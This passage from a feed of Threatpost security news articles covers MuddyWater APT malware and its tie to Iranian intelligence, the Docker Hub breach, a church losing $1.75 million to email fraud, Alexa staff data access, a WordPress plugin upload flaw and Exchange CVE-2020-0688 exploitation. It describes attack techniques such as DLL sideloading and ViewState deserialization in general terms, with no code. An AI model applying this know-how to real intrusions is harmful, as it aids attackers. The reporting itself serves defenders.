to infiltrate victims and exfiltrate data, mostly using Python and PowerShell-based coding. The arsenal includes download/execute tools and remote access trojans (RATs) written in C# and Python; SSH Python scripts; and multiple Python tools for the extraction of credentials, history and more.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nKaspersky Lab also found that the group uses various deception techniques to derail detection efforts, such as Chinese strings, Russian strings and an impersonation of a completely different hacking group known as RXR Saudi Arabia.\n\n## A Battalion of RATs and More\n\nSome of MuddyWater\u2019s tools include proprietary efforts such as Nihay, a C# download-and-execute tool. It downloads a PowerShell one-liner from a hardcoded URL, researchers found. Like the other malicious code offerings from MuddyWater, this is a straightforward and simple malware that has but a single job.\n\nAnother tool that the researchers observed is a C# RAT called LisfonService. It \u201crandomly chooses a URL from a huge array of hardcoded proxy URLs hiding the real C2 server,\u201d according to [the analysis](<https://securelist.com/muddywaters-arsenal/90659/>), and is tasked with registering a victim with the C2 by collecting the user name, domain or workgroup name, machine name, machine internal IP address, OS version, OS build and public IP address. This information is used later to request commands from the C2, such as executing PowerShell code or crashing the system.\n\nAnother RAT called Client.Py is a Python 3.6 RAT is a bit more advanced; it supports basic keylogger functionality, stealing passwords saved in Chrome, killing task manager, remote command-execution and displaying an alert message for the victim in a message box.\n\nWhile most of the tools that MuddyWater uses are custom-developed, there are a handful that are based on more generic and publicly available ones, researchers added.\n\n## Deception\n\nAppropriately given the APT\u2019s name, one of the ways that MuddyWater throws forensics off the trail of attribution is by planting false flags, the analysis shows \u2013 including the incorporation of different languages into the coding.\n\n\u201cMultiple Chinese strings can be found in some PowerShell RAT payloads (such as Ffb8ea0347a3af3dd2ab1b4e5a1be18a) that seem to have been left in on purpose, probably to make attribution harder,\u201d according to Kaspersky Lab.\n\nThis also holds true for a series of Russian words that researchers found in another PowerShell sample.\n\n\u201cAttackers used Russian words as the RC4 key when establishing a connection to the C2 server,\u201d the team noted. It added, \u201cInterestingly, when visiting the C2, it displays a blank webpage whose HTML source code shows a strange HTML tag value that suggests attackers have tried to impersonate a Saudi hacking group called RXR Saudi Arabia.\u201d\n\nIn all, the MuddyWater APT shows the hallmarks of being a moderately sophisticated threat group that has built up a reasonably advanced armory to carry out their efforts. Lately those efforts have included attacks on government and telco targets in Bahrain, Iraq, Jordan, Lebanon, Saudi Arabia and Turkey, as well as a few other countries in nearby regions (Afghanistan, Azerbaijan and Pakistan), researchers said.\n\n\u201cThese tools\u2026seem to allow them flexibility to adapt and customize the toolset for victims,\u201d according to Kaspersky Lab. \u201cThis continuous capability to steadily adjust and enhance attacks, adapting well to the changing [Middle Eastern geopolitical scene](<https://threatpost.com/new-actor-darkhydrus-targets-middle-east-with-open-source-phishing/134871/>), seems to make this actor a solid adversary that keeps growing. We expect it to keep developing or acquiring additional tools and abilities, possibly including zero-days.\u201d\n", "cvss3": {}, "published": "2019-04-29T20:04:33", "type": "threatpost", "title": "MuddyWater APT Hones an Arsenal of Custom Tools", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2019-04-29T20:04:33", "id": "THREATPOST:4F1C35A7D4BE774DF9C88794C793181D", "href": "https://threatpost.com/muddywater-apt-custom-tools/144193/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:52:21", "description": "Employees at Amazon can access geolocation information for Alexa users, according to reports \u2013 thus uncovering their home addresses and even satellite pictures of their houses generated from a service such as Google Earth.\n\nAlexa is the built-in voice assistant shipped with devices like Amazon Echo, Amazon Dot, Fire TV and some third-party gadgets. Confidential employee sources speaking to Bloomberg said that the global team that manually audits Alexa\u2019s accuracy in understanding voice commands can \u201ceasily find\u201d a customer\u2019s home address, by combining the GPS coordinates that they have access to with public mapping services.\n\nThis division, known as the Alexa Data Services Team, is tasked with listening to random samplings of voice commands \u2013 and then matching up Alexa\u2019s response to them to see if the voice-recognition technology is working the way that it should. In theory this is anonymized, but location information in the form of GPS coordinates is captured in order to provide localized search results. For instance, if a user asks for the weather forecast, or a review for a restaurant, the geolocation data is necessary to carry out the requests.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nFive Amazon employees [confirmed to Bloomberg](<https://www.bloomberg.com/news/articles/2019-04-24/amazon-s-alexa-reviewers-can-access-customers-home-addresses>) that the division has access to the location data, and two members of the Alexa team said that they felt they have been given \u201cunnecessarily broad access\u201d to personal information.\n\nThey also shared a demo, demonstrating that by plugging in longitude and latitude of a device to Bing Maps or Google Maps, it\u2019s possible to bring up an address and even an image of the Alexa-owner\u2019s house.\n\n\u201cOften an individual piece of data might be innocuous, but the connected-ness of the world today means that no data can be viewed in a vacuum,\u201d Tim Erlin, vice president of product management and strategy at Tripwire, told Threatpost. \u201cGPS coordinates aren\u2019t personally identifiable on their own, but when coupled with a freely accessible system that translates them into an image of that location, they certainly are.\u201d\n\nFor its part, Amazon downplayed the issue.\n\n\u201cAccess to internal tools is highly controlled, and is only granted to a limited number of employees who require these tools to train and improve the service by processing an extremely small sample of interactions,\u201d Amazon said in a statement to media. \u201cOur policies strictly prohibit employee access to or use of customer data for any other reason, and we have a zero-tolerance policy for abuse of our systems. We regularly audit employee access to internal tools and limit access whenever and wherever possible.\u201d\n\nIt\u2019s unclear how many employees have access to the information, but the sources said that the Data Services Team numbers in the \u201cthousands of employees and contractors,\u201d located in Boston, India and Romania.\n\nThe employees also said that there is a second internal Amazon Alexa team for \u201cannotators and verifiers,\u201d who are privy to the information that customers input into the Alexa app when setting up a device. That includes home and work addresses, phone numbers, and any entered contact names, numbers and email addresses. This smaller team is responsible for making sure that Alexa correctly identifies contacts when someone asks her to \u201ccall my mom,\u201d for example.\n\nAll of that said, Amazon appears to have restricted some data access in the wake of a previous Bloomberg report revealing the existence of the Alexa Data Services Team, the outlet said.\n\nNot everyone is concerned about the news.\n\n\u201cThis is overblown. There is no reason to doubt that Amazon is sincere in its claim that only a select few employees have access to consumers\u2019 information and use it in order to perform their job,\u201d said Mike Bittner, manager for Digital Security and Operations at The Media Trust, via email.\n\n\u201cFeatures referenced in the article (suggested restaurants, etc.) require geolocation tracking, suggested products and targeted advertising require purchase and browser/cookie tracking, daily reminders require calendar tracking. All of these features are products of the continued trailing, recording and analysis of user behavior and undoubtedly make the smart home a more convenient tool,\u201d wrote Bittner.\n\nThus, the situation once again brings up the thorny issue of balancing consumer benefit with potential privacy abuse. It makes sense for Amazon to audit how well Alexa is performing \u2013 but is a flawless Alexa experience worth the data exposure for consumers?\n\n\u201cAmazon employees listening to private conversations recorded by Alexa speaks to the very fears that many of us have about smart-home devices,\u201d Harold Li, vice president at ExpressVPN, told Threatpost in an interview. \u201cThese revelations will no doubt make consumers think twice before buying, as our research has shown that privacy concerns and brand trust are crucial in the smart home space.\u201d\n\nHe added, \u201cIt\u2019s more than reasonable for consumers to expect that companies like Amazon do not invade the sanctity of private conversations in their own homes, and we should demand that companies respect that.\u201d\n", "cvss3": {}, "published": "2019-04-25T15:55:18", "type": "threatpost", "title": "Amazon Employees Given 'Broad Access' to Personal Alexa Info", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2019-04-25T15:55:18", "id": "THREATPOST:7BCCC5B4AA7FB7724466FFAB585EC55D", "href": "https://threatpost.com/amazon-employees-personal-alexa/144119/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:52:03", "description": "UPDATE\n\nDocker Hub has confirmed that it was hacked last week; with sensitive data from approximately 190,000 accounts potentially exposed.\n\n\u201cOn Thursday, April 25th, 2019, we discovered unauthorized access to a single Hub database storing a subset of non-financial user data,\u201d Kent Lamb, director of Docker Support, said in an email over the weekend, which a Docker user [posted on online](<https://news.ycombinator.com/item?id=19763413>). \u201cUpon discovery, we acted quickly to intervene and secure the site.\u201d\n\nThe container specialist noted that it was a \u201cbrief period\u201d of unauthorized access that impacted less than 5 percent of Hub users; however, the data includes usernames and hashed passwords, as well as Github and Bitbucket tokens for Docker autobuilds.\n\n[](<https://threatpost.com/newsletter-sign/>) \nDocker has revoked GitHub tokens and access keys for affected accounts, and the company warned that this may affect ongoing builds from its automated build service; users \u201cmay need to [unlink and then relink](<https://docs.docker.com/docker-hub/builds/link-source/>) your GitHub and BitBucket source provider,\u201d Lamb warned.\n\nTorsten George, cybersecurity evangelist at Centrify, told Threatpost that \u201cWhen you dig deeper into the details of the breach, you\u2019ll see that it\u2019s not about the numbers, but the reach. The big issue about this breach is the fact that the database included tokens from other much-used developer resources, including GitHub and Bitbucket. This breach stresses the importance of application-to-application password management (AAPM) and temporary credentials rather than permanent ones.\u201d\n\n## Ramifications and What to Do\n\nCleanup from the incident could be significant endeavor, according to researchers.\n\n\u201cAs a result of this breach, it\u2019s possible that images in your Docker Hub repository may have been tampered with or overwritten,\u201d Wei Lien Dang, vice president of product at StackRox, told Threatpost. \u201cAttacks on the build pipeline can have serious downstream effects on what is currently running inside your infrastructure. Tainted images can be difficult to detect, and the containers launched from them may even run as expected, except with a malicious process in the background. If you use Docker Hub with Kubernetes environments, you\u2019ll also need to roll your ImagePullSecrets.\u201d\n\nEven though the passwords were hashed, Docker Hub users should change their passwords on Docker Hub and any other accounts that share that password. Users can also [view security actions](<https://help.github.com/en/articles/reviewing-your-security-log%20and%20https:/bitbucket.org/blog/new-audit-logs-give-you-the-who-what-when-and-where>) on GitHub and BitBucket accounts to check for unauthorized access.\n\n\u201cUnexpected changes in images will have an effect on application behavior, making runtime detection and application baselining critical,\u201d Dang said. \u201cCharacterizing the behaviors of individual Kubernetes deployments will highlight deviations in network connectivity, file access and process executions. These deviations are all indicators that malicious activity is taking place within a container. You need the ability to quickly inspect runtime activity within your containers to verify they are running only expected processes.\u201d\n\nAlso, because Docker didn\u2019t provide a specific timeline for this breach, no one knows how long ago the unauthorized access occurred. \u201cAs with most breaches, the perpetrators may have had access to compromised resources significantly longer than just last week,\u201d Dang said. \u201cTo be safe, you should verify recently pushed images going back over the past several weeks. Doing this audit can be difficult, as not every registry will let you filter the data by image age.\u201d\n\n## Docker: An Escalating Target?\n\nDocker has been in the security headlines before in the recent past; for instance, in January, researchers [hacked the Docker test platform](<https://threatpost.com/hack-allows-escape-of-play-with-docker-containers/140831/>) called Play-with-Docker with a proof-of-concept hack, allowing them to access data and manipulate any test Docker containers running on the host system. The team was able to escape the container and run code remotely right on the host.\n\nAlso, last year 17 malicious docker images [were found available](<https://threatpost.com/malicious-docker-containers-earn-crypto-miners-90000/132816/>) on Docker Hub that allowed hackers to earn $90,000 in cryptojacking profits.\n\nAnd Docker [in 2017 patched](<https://threatpost.com/docker-patches-container-escape-vulnerability/123161/>) a privilege escalation vulnerability that could also have lead to container escapes, allowing a hacker to affect operations of a host from inside a container.\n\nContainers are increasing in popularity among DevOps users in companies of all sizes because they facilitate collaboration, which optimizes their ability to deliver code fast to virtual environments. However, Lacework in [an analysis in 2018](<https://threatpost.com/22k-open-vulnerable-containers-found-exposed-on-the-net/132898/>) noted that securing workloads in public clouds requires a different approach than that used for traditional data centers, where APIs drive the infrastructure and create short-lived workloads. In turn, they\u2019re also becoming more interesting to cybercriminals, Dan Hubbard, chief security architect at Lacework, told Threatpost.\n\nEnterprises also report an accelerating number of container attacks. In fact, 60 percent of respondents in [a recent survey](<https://threatpost.com/threatlist-container-security/140614/>) acknowledged that their organizations had been hit with at least one container security incident within the past year. In companies with more than 100 containers in place, that percentage rises to 75 percent.\n\n_This story was updated on April 30 to add insight into potential repercussions of the incident. _\n", "cvss3": {}, "published": "2019-04-29T14:13:23", "type": "threatpost", "title": "Docker Hub Hack Affects 190K Accounts, with Concerning Consequences", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2019-04-29T14:13:23", "id": "THREATPOST:B047BB0FECBD43E30365375959B09B04", "href": "https://threatpost.com/docker-hub-hack/144176/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:57:09", "description": "A church in Brunswick, Ohio was scammed out of a whopping $1.75 million as a result of a business email compromise (BEC) attack.\n\nSt. Ambrose Catholic Parish, which has around 16,000 members, has been working on a massive $4 million church renovation, dubbed \u201cVision 20/20\u201d \u2013 but attackers figured out a way to hack into the church\u2019s email system, take control of two church employee accounts, and eventually divert payments related to the project to a fraudulent account owned by them.\n\nAccording to [local reports](<https://www.cleveland.com/crime/2019/04/email-hackers-steal-175-million-from-st-ambrose-catholic-parish-in-brunswick.html>), the church said in a letter to parishioners over the weekend that it was notified of the issue on April 17, after the construction company behind the renovations contacted the church saying it had missed payments on the project.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\n\u201cOn Wednesday, Marous Brothers called inquiring as to why we had not paid our monthly payment on the project for the past two months, totaling approximately $1,750,000,\u201d according to an email sent by the church to parishioners. \u201cThis was shocking news to us, as we have been very prompt on our payments every month and have received all the appropriate confirmations from the bank that the wire transfers of money to Marous were executed/confirmed.\u201d\n\nAfter involving the Brunswick police and the FBI, the church discovered that their email system was hacked and that bad actors had taken control of two employee email accounts.\n\nUsing these two hacked accounts, the attackers were able to pretend they were the email accounts\u2019 real owners, and deceived other employees into believing Marous Brothers had changed their bank and wiring instructions. The $1.75 million in church payments for two months were then sent to a fraudulent bank account owned by the cybercriminals.\n\n\u201cThe money was then swept out by the perpetrators before anyone knew what had happened,\u201d according to the church. \u201cNeedless to say, this was very distressing information.\u201d\n\nThe church said it is currently working with the FBI and its insurance company to try to recover the stolen funds. Meanwhile, it said, no other data \u2013 such as databases with parishioner information or church financial information \u2013 has been compromised.\n\nBEC scams continue to plague companies as attackers become more advanced \u2013 particularly as infamous BEC groups like [London Blue](<https://threatpost.com/bec-scam-gang-london-blue-evolves-tactics-targets/143440/>), [Scarlet Widow](<https://threatpost.com/rsac-2019-bec-scammer-gang-takes-aim-at-boy-scouts-other-nonprofts/142302/>) and others continue honing their techniques.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/04/30112714/FBI-IC3-11.png>)\n\n[According to](<https://threatpost.com/fbi-bec-scam-losses-double/144038/>) the FBI\u2019s annual Internet Crime Report (IC3) for 2018, BEC scams ultimately drained victims of over $1.2 billion last year. For contrast, in 2017, BEC attacks resulted in adjusted losses of $675 million.\n\nSt. Ambrose Catholic Parish isn\u2019t the first high-profile community case, either. The FBI in its report said it received a complaint from a town in New Jersey that fell victim of a BEC scam \u2014 and transferred over $1 million to a fraudulent account (the FBI was able to freeze the funds and return the money to the town). Individuals suffer too: In another case, a BEC victim received a email purporting to be from their closing agent during a real-estate transaction \u2014 resulting in the person initiating a wire transfer of $50,000 to a fraudster\u2019s bank account located in New York.\n\nRonnie Tokazowski, senior threat researcher at Agari, told Threatpost in a recent interview there are several steps that firms \u2013 and individuals \u2013 can take to protect against BEC scams.\n\n\u201cFor BEC protections, there are several things that organizations and individuals can do to not fall victim,\u201d he said. \u201cFirstly, implementing a DMARC [which stands for Domain-based Message Authentication, Reporting and Conformance and is an email authentication protocol] solution can help organizations look at the reputation of senders who may be spoofing their CEO\u2019s, asking for wire transfers or gift card. For individuals, being informed about the different types of scams that actors are using can be helpful as well.\u201d\n", "cvss3": {}, "published": "2019-04-30T16:21:59", "type": "threatpost", "title": "BEC Hack Cons Catholic Church Out of $1.75 Million", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2019-04-30T16:21:59", "id": "THREATPOST:2BDC072802830F0CC831DE4C4F1FA580", "href": "https://threatpost.com/bec-hack-cons-catholic-church/144212/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2022-01-13T18:12:51", "description": "U.S. Cyber Command has confirmed that [MuddyWater](<https://threatpost.com/wirte-middle-eastern-governments/176688/>) \u2013 an advanced persistent threat (APT) cyberespionage actor aka Mercury, Static Kitten, TEMP.Zagros or Seedworm that\u2019s historically [targeted government victims](<https://threatpost.com/muddywater-apt-custom-tools/144193/>) in the Middle East \u2013 is an Iranian intelligence outfit.\n\nThe link has been suspected, and now it\u2019s government-stamped. On Wednesday, USCYBERCOM not only confirmed the tie; it also disclosed the plethora of open-source [tools and strategies](<https://www.cisa.gov/uscert/ncas/current-activity/2022/01/12/cnmf-identifies-and-discloses-malware-used-iranian-apt-muddywater>) MuddyWater uses to break into target systems and released malware samples.\n\n\u201cMuddyWater has been seen using a variety of techniques to maintain access to victim networks,\u201d according to USCYBERCOM\u2019S National Mission Force (CNMF). \u201cThese include side-loading DLLs in order to trick legitimate programs into running malware and obfuscating PowerShell scripts to hide command and control functions.\u201d\n\nUSCYBERCOM has uploaded multiple MuddyWater-attributed malware samples to [VirusTotal](<https://www.virustotal.com/gui/user/CYBERCOM_Malware_Alert>).\n\n> Iranian MOIS hacker group [#MuddyWater](<https://twitter.com/hashtag/MuddyWater?src=hash&ref_src=twsrc%5Etfw>) is using a suite of malware to conduct espionage and malicious activity. If you see two or more of these malware on your network, you may have MuddyWater on it: <https://t.co/xTI6xuQOg3>. Attributed through [@NCIJTF](<https://twitter.com/ncijtf?ref_src=twsrc%5Etfw>) [@FBI](<https://twitter.com/FBI?ref_src=twsrc%5Etfw>)\n> \n> \u2014 USCYBERCOM Cybersecurity Alert (@CNMF_CyberAlert) [January 12, 2022](<https://twitter.com/CNMF_CyberAlert/status/1481341952247349248?ref_src=twsrc%5Etfw>)\n\nUSCYBERCOM\u2019s [press release](<https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/>) described MuddyWater as being \u201ca subordinate element within the Iranian Ministry of Intelligence and Security (MOIS).\u201d The [Congressional Research Service](<https://crsreports.congress.gov/product/pdf/RL/RL32048>) describes MOIS as conducting \u201cdomestic surveillance to identify regime opponents\u201d and said that the agency is responsible for surveillance of anti-regime activists abroad through a network of agents placed in Iran\u2019s embassies.\n\n## New Variants of PowGoop Malware\n\nAmong multiple malware sets, MuddyWater is using new variants of the PowGoop malware family, CNMF said.\n\nPowGoop was first [described](<https://unit42.paloaltonetworks.com/thanos-ransomware/>) by Palo Alto Networks in September 2020, when it was used in attacks on two state-run organizations in the Middle East and North Africa that ultimately installed and ran a variant of the [Thanos](<https://threatpost.com/thanos-ransomware-weaponize-riplace-tactic/156438/>) ransomware.\n\nAt the time, Palo Alto suspected that the threat actors were using a downloader \u2013 one that researchers dubbed PowGoop \u2013 to reach out to a remote server to download and execute PowerShell scripts. The name comes from the use of GoogleUpdate.exe to load a malicious, modified version of goopdate.dll \u2013 a DLL that\u2019s used to load a malicious PowerShell script from an external file.\n\nPowGoop has been buffed up since it was first spotted: SentinelLabs on Wednesday [explained](<https://www.sentinelone.com/labs/wading-through-muddy-waters-recent-activity-of-an-iranian-state-sponsored-threat-actor/>) that significantly enhanced, newer variants of PowGoop have shown up in the wild, discovered in recently triaged incidents, \u201csuggesting the group continues to use and maintain it even after recent exposures.\u201d\n\n\u201cThe new variants reveal that the threat group has expanded its arsenal of legitimate software used to load malicious DLLs,\u201d SentinelOne intelligence researcher Amitai Ben Shushan Ehrlich wrote.\n\nEhrlich explained that, aside from GoogleUpdate.exe, three more benign pieces of software are abused in order to sideload malicious DLLs: Git.exe, FileSyncConfig.exe and Inno_Updater.exe.\n\nCNMF has shared new samples showing the different parts of MuddyWater\u2019s new suite of tools, along with JavaScript files used to establish connections back to malicious infrastructure. They include new PowGoop command-and-control (C2) beacon variants as well as the Mori Backdoor: a backdoor used for cyber espionage that employes DNS tunneling to communicate with the C2 infrastructure.\n\n\u201cAny instances of these files may indicate an attacker in the network,\u201d CNMF reiterated about newly released and already known indicators of compromise (IoC). \u201cShould a network operator identify multiple of the tools on the same network, it may indicate the presence of Iranian malicious cyber actors.\u201d\n\n## Love of Tunneling, Exchange Exploits & Ruler Abuse\n\nSentinelLabs drilled down into multiple additional recent findings about MuddyWater\u2019s techniques, tactics and procedures (TTPs), including:\n\n**MuddyWater Tunneling Activity: **\u201cThe operators behind MuddyWater activities are very fond of tunneling tools,\u201d SentinelOne\u2019s Ehrlich wrote. \u201cThe custom tools used by the group often provide limited functionality, and are used to drop tunneling tools which enable the operators to conduct a wider set of activities.\u201d\n\nMuddyWater attackers are using tunneling tools including Chisel, SSF and Ligolo: tools that enable the threat actor to connect to machines within target environments as if they were inside the operator LAN, he explained.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2022/01/13120926/Summary-of-MuddyWater-tunneling-using-Chisel--e1642093784315.png>)\n\nSummary of MuddyWater tunneling using Chisel. Source: Sentinel Labs.\n\n**Exploiting Microsoft Exchange: **Sentinel Labs has also tracked MuddyWater targeting Exchange servers of high-profile organizations. \u201cThis subset of Exchange exploitation activity is rather interesting, as without context it would be difficult to attribute it to MuddyWater because the activity relies almost completely on publicly available offensive security tools,\u201d Ehrlich noted.\n\nThey\u2019re using two tools to try to exploit Exchange servers: a publicly available script for exploiting [CVE-2020-0688](<https://threatpost.com/microsoft-exchange-exploited-flaw/159669/>) \u2013 a vulnerability that enables remote code execution (RCE) for an authenticated user \u2013 and Ruler, an open source Exchange exploitation framework recently used to target a string of Middle Eastern telecom operators and IT companies, as [reported](<https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-campaign-telecoms-asia-middle-east>) by Symantec\u2019s Threat Hunter Team last month.\n\n## MuddyWater: Better & Better at Stirring Up Muck\n\nAnalysis shows that the MuddyWater APT continues to evolve and adapt its techniques Sentinel Labs summarized. \u201cWhile still relying on publicly available offensive security tools, the group has been refining its custom toolset and utilizing new techniques to avoid detection,\u201d Ehrlich observed, pointing to evolution of the PowGoop malware family, the group\u2019s use of tunneling tools, and its targeting of Exchange servers in high-profile organizations.\n\nThe group doesn\u2019t have to be fancy to be effective, he noted: \u201cLike many other Iranian threat actors, the group displays less sophistication and technological complexity compared to other state-sponsored APT groups. Even so, it appears MuddyWater\u2019s persistency is a key to their success, and their lack of sophistication does not appear to prevent them from achieving their goals.\u201d\n\n**Password** **Reset: ****[On-Demand Event](<https://threatpost.com/webinars/password-reset-claiming-control-of-credentials-to-stop-attacks/>):** Fortify 2022 with a password security strategy built for today\u2019s threats. This [Threatpost Security Roundtable](<https://threatpost.com/webinars/password-reset-claiming-control-of-credentials-to-stop-attacks/>), built for infosec professionals, centers on enterprise credential management, the new password basics and mitigating post-credential breaches. Join Darren James, with Specops Software and Roger Grimes, defense evangelist at KnowBe4 and Threatpost host Becky Bracken. **[Register & Stream this FREE session today](<https://threatpost.com/webinars/password-reset-claiming-control-of-credentials-to-stop-attacks/>)** \u2013 sponsored by Specops Software.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-01-13T17:35:34", "type": "threatpost", "title": "US Military Ties Prolific MuddyWater Cyberespionage APT to Iran", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0688"], "modified": "2022-01-13T17:35:34", "id": "THREATPOST:6EA5AB7FCD767A01EA56D7EEF6DA0B0A", "href": "https://threatpost.com/us-military-ties-muddywater-cyberespionage-apt-iran/177633/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:52:08", "description": "UPDATE\n\nA vulnerability in a popular WordPress plugin called the WooCommerce Checkout Manager extension is potentially putting more than 60,000 websites at risk, researchers say.\n\nThe WooCommerce Checkout Manager plugin allows WooCommerce users to customize and manage the fields on their checkout pages. The plugin, owned by Visser Labs, is separate from the WooCommerce plugin, which is owned by Automattic.\n\nAs of Monday, an update for WooCommerce Checkout Manager is available (version 4.3) that patches the vulnerability. That can be downloaded [here](<https://wordpress.org/support/topic/upgrade-to-4-3/>).\n\n[](<https://threatpost.com/newsletter-sign/>)\n\n\u201cEarlier this week, an arbitrary file upload vulnerability has been found in popular WordPress plugin WooCommerce Checkout Manager which extends the functionality of well known WooCommerce plugin,\u201d said Luka Sikic, with WebArx Security in a [Thursday post](<https://www.webarxsecurity.com/woocommerce-checkout-manager/>).\n\nVisser Labs has not responded to a request for comment from Threatpost. On Friday, the plugin has been removed from the WordPress plugin repository. \u201cThis plugin was closed on April 26, 2019 and is no longer available for download,\u201d according to a [notice](<https://wordpress.org/plugins/woocommerce-checkout-manager/>) on the site. However, that still leaves the 60,000 websites who have already downloaded and are utilizing the plugin open to attack, according to researchers.\n\nOn Tuesday, Plugin Vulnerabilities published a proof of concept outlining an attack on an arbitrary file upload vulnerability in WooCommerce Checkout Manager. The disclosed vulnerability exists because the plugin\u2019s \u201cCategorize Uploaded Files\u201d option does not check privileges or permissions before files are uploaded. As a result, bad actors could upload \u2013 and then execute \u2013 malicious files.\n\n\u201cSince there is no privilege or permission check before uploading a file, the exploitation of the vulnerability in WooCommerce Checkout Manager is simple and doesn\u2019t require an attacker to be registered on the site,\u201d Sikic said.\n\nThe number of vulnerable plugins being exploited in a massive campaign is racking up, with the WooCommerce Checkout Manager the latest plugin to be exploited.\n\nThe WooCommerce Checkout Manager is only the latest plugin to have a disclosed vulnerability, researchers say.\n\n\u201cWe continue to see an increase in the number of plugins attacked as part of a campaign that\u2019s been active for quite a long time,\u201d according to John Castro with Sucuri in a recent [post](<https://blog.sucuri.net/2019/04/plugins-added-to-malicious-campaign.html>). \u201cBad actors have added more vulnerable plugins to inject similar malicious scripts.\u201d\n\nOther plugins recently added to the attack include WP Inventory Manager and Woocommerce User Email Verification. That\u2019s on top of others, including Social Warfare, [Yellow Pencil Visual Theme Customizer](<https://threatpost.com/wordpress-yellow-pencil-plugin-exploited/143729/>), and [Yuzo Related Posts](<https://threatpost.com/wordpress-urges-users-to-uninstall-yuzo-plugin-after-flaw-exploited/143710/>).\n\nResearchers urged plugin users to disable the plugin completely or disable the \u201cCategorize Uploaded Files\u201d option on the plugin settings page.\n\n\u201cAttackers are trying to exploit vulnerable versions of these plugins,\u201d said Castro. \u201cPublic exploits already exist for all of the components listed above, and we highly encourage you to keep your software up to date to prevent any infection.\u201d\n\n_This article was updated on April 30 at 8 a.m. ET to reflect that the vulnerability has now been patched._\n", "cvss3": {}, "published": "2019-04-26T19:44:55", "type": "threatpost", "title": "Users Urged to Update WordPress Plugin After Flaw Disclosed", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2019-04-26T19:44:55", "id": "THREATPOST:33026719684C7CD1B70B04B1CFFE2AEB", "href": "https://threatpost.com/users-urged-to-disable-wordpress-plugin-after-unpatched-flaw-disclosed/144159/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-03-10T12:45:58", "description": "Multiple threat groups are actively exploiting a vulnerability in Microsoft Exchange servers, researchers warn. If left unpatched, the flaw allows authenticated attackers to execute code remotely with system privileges.\n\nThe vulnerability in question (CVE-2020-0688) exists in the control panel of Exchange, Microsoft\u2019s mail server and calendaring server, and was fixed as part of Microsoft\u2019s [February Patch Tuesday](<https://threatpost.com/microsoft-active-attacks-air-gap-99-patches/152807/>) updates. However, researchers [in a Friday advisory](<https://www.volexity.com/blog/2020/03/06/microsoft-exchange-control-panel-ecp-vulnerability-cve-2020-0688-exploited/>) said that unpatched servers are being exploited in the wild by unnamed advanced persistent threat (APT) actors.\n\n\u201cWhat we have seen thus far are multiple Chinese APT group exploiting or attempting to exploit this flaw,\u201d Steven Adair, founder and president of Volexity, told Threatpost. \u201cHowever, I think it is safe to say that this exploit is now in the hands of operators around the world and unfortunately some companies that have not patched yet or did not patch quickly enough are likely to pay the price.\u201d\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nAttacks first started late February and targeted \u201cnumerous affected organizations,\u201d researchers said. They observed attackers leverage the flaw to run system commands to conduct reconnaissance, deploy webshell backdoors and execute in-memory frameworks post-exploitation.\n\n## The Flaw\n\nAfter Microsoft patched the flaw in February researchers with the Zero Day Initiative (ZDI), which first reported the vulnerability, [published further details](<https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys>) of the flaw and how it could be exploited. And, on March 4, Rapid7 published a module that incorporated the exploit into the Metasploit penetration testing framework.\n\nThe vulnerability exists in the Exchange Control Panel (ECP), a web-based management interface for administrators, introduced in Exchange Server 2010. Specifically, instead of having cryptographic keys that are randomly generated on a per-installation basis, all installations in the configuration of ECP have the same cryptographic key values. These cryptographic keys are used to provide security for ViewState (a server-side data that ASP.NET web applications store in serialized format on the client).\n\nAccording to ZDI, an attacker could exploit a vulnerable Exchange server if it was unpatched (before Feb. 11, 2020), if the ECP interface was accessible to the attacker, and if the attacker has a working credential allowing them to access the ECP. After accessing the ECP using compromised credentials, attackers can take advantage of the fixed cryptographic keys by tricking the server into deserializing maliciously crafted ViewState data, then allowing them to take over Exchange server.\n\n\u201cWe realized the severity of this bug when we purchased 